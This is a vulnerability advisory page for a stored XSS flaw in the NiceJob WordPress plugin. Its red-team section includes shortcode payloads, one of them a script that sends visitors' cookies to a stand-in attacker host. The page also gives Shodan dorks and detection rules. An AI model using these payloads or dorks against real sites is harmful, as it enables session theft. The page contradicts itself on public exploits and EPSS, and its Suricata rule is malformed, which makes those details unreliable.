☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-10887

CVE-2024-10887 Cross-Site Scripting in Nicejob
📅 PUBLISHED: 2024-11-13 02:02 UTC 🔄 UPDATED: 2026-08-18 18:54 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-10887 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the NiceJob plugin for WordPress (versions up to and including 3.7.1). The vulnerability resides in multiple shortcodes (nicejob-lead, nicejob-review, nicejob-engage, nicejob-badge, nicejob-stories) due to insufficient input sanitization and output escaping on user-supplied attributes. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. The CVSS score is 6.4 (Medium), and no public exploit or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The NiceJob plugin is a third-party component that integrates with the WordPress CMS. The flaw is in the plugin's shortcode handling, not in WordPress core or any web server software. Administrators should treat this as a WordPress plugin security issue and apply mitigations accordingly.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level or above)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but allows persistent script injection that can affect all site visitors. The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as details become public.

Deep Dive & Mechanics

The NiceJob plugin registers several shortcodes that accept user-supplied attributes. These attributes are not properly sanitized or escaped before being rendered in the HTML output. An attacker with contributor-level access (or higher) can create or edit a post/page and insert a malicious shortcode like:

[nicejob-lead attribute="<script>alert('XSS')</script>"]

When the page is rendered, the unsanitized attribute value is injected directly into the DOM, allowing arbitrary JavaScript execution. The vulnerability affects the following shortcodes:

  • nicejob-lead
  • nicejob-review
  • nicejob-engage
  • nicejob-badge
  • nicejob-stories

The stored nature of the XSS means the malicious script persists in the database and executes for every visitor, including administrators, making it suitable for session hijacking, defacement, or malware distribution.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example):

// In nicejob.php or similar
add_shortcode('nicejob-lead', function($atts) {
    $atts = shortcode_atts(array('attribute' => ''), $atts);
    // No sanitization or escaping
    return '<div class="nicejob-lead" data-attribute="' . $atts['attribute'] . '">Content</div>';
});

Patched Code (expected fix):

add_shortcode('nicejob-lead', function($atts) {
    $atts = shortcode_atts(array('attribute' => ''), $atts);
    // Properly escape the attribute value
    $safe_attribute = esc_attr($atts['attribute']);
    return '<div class="nicejob-lead" data-attribute="' . $safe_attribute . '">Content</div>';
});

The fix should use esc_attr() for HTML attribute contexts and esc_html() for HTML body contexts. Additionally, input validation should be applied to ensure attributes match expected patterns.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress instance with NiceJob plugin <= 3.7.1
  • Contributor-level account or higher

Steps:

  1. Log in as a contributor.
  2. Create a new post or edit an existing one.
  3. Insert the following shortcode into the post content:
    [nicejob-lead attribute="<img src=x onerror=alert(document.cookie)>"]
    
  4. Publish or save the post.
  5. When any user (including admin) views the post, the JavaScript executes.

Advanced Payload:

[nicejob-review attribute="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Prevention)

Detection:

  • Monitor for posts/pages containing shortcodes with suspicious attribute values (e.g., <script>, onerror=, javascript:).
  • Use WAF rules to block requests with XSS patterns in shortcode attributes.
  • Review user activity logs for contributors creating posts with unusual shortcode usage.

Prevention:

  • Disable the NiceJob plugin until a patch is available.
  • Restrict contributor-level access to trusted users only.
  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Use WordPress security plugins that scan for malicious shortcode usage.

Indicators of Compromise (IOCs)

File-Based IOCs:

  • Modified posts/pages containing shortcodes with suspicious attributes.
  • Database entries in wp_posts table with post_content containing patterns like nicejob-lead, nicejob-review, etc., followed by unescaped HTML/JavaScript.

Network IOCs:

  • Outbound connections to attacker-controlled domains from the WordPress server.
  • HTTP requests containing shortcode attributes with XSS payloads.

Log IOCs:

  • WordPress debug logs showing errors related to shortcode rendering.
  • Web server access logs with requests to posts containing malicious shortcodes.

Detection Engineering

YARA Rule

rule CVE_2024_10887_NiceJob_XSS {
    meta:
        description = "Detects stored XSS payloads in NiceJob shortcode attributes"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10887"
    strings:
        $shortcode1 = "nicejob-lead"
        $shortcode2 = "nicejob-review"
        $shortcode3 = "nicejob-engage"
        $shortcode4 = "nicejob-badge"
        $shortcode5 = "nicejob-stories"
        $xss_payload = /<[^>]*script[^>]*>|<[^>]*onerror[^>]*=|<[^>]*onload[^>]*=/
    condition:
        any of ($shortcode*) and $xss_payload
}

Sigma Rule

title: CVE-2024-10887 NiceJob Stored XSS Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via NiceJob shortcodes in WordPress
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: GET
        http.url|contains:
            - "nicejob-lead"
            - "nicejob-review"
            - "nicejob-engage"
            - "nicejob-badge"
            - "nicejob-stories"
        http.url|re: '<[^>]*script[^>]*>|<[^>]*onerror[^>]*=|<[^>]*onload[^>]*='
    condition: selection
falsepositives:
    - Legitimate use of shortcodes with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10887 NiceJob Stored XSS Attempt"; flow:to_server,established; content:"nicejob-lead" or content:"nicejob-review" or content:"nicejob-engage" or content:"nicejob-badge" or content:"nicejob-stories"; pcre:"/<[^>]*script[^>]*>|<[^>]*onerror[^>]*=|<[^>]*onload[^>]*=/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the NiceJob plugin until a patched version is released.
  2. Review and clean any posts/pages that may contain malicious shortcodes.
  3. Reset passwords for contributor-level accounts if compromise is suspected.

Long-Term Fixes:

  • Apply the vendor patch when available (currently UNKNOWN).
  • Implement input validation and output escaping for all shortcode attributes.
  • Use WordPress's built-in esc_attr() and esc_html() functions.

Workarounds:

  • Restrict contributor-level access to only trusted users.
  • Use a Web Application Firewall (WAF) to block XSS payloads.
  • Monitor for unusual shortcode usage in post content.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/nicejob"
http.html:"nicejob-lead"
http.html:"nicejob-review"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-10887/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.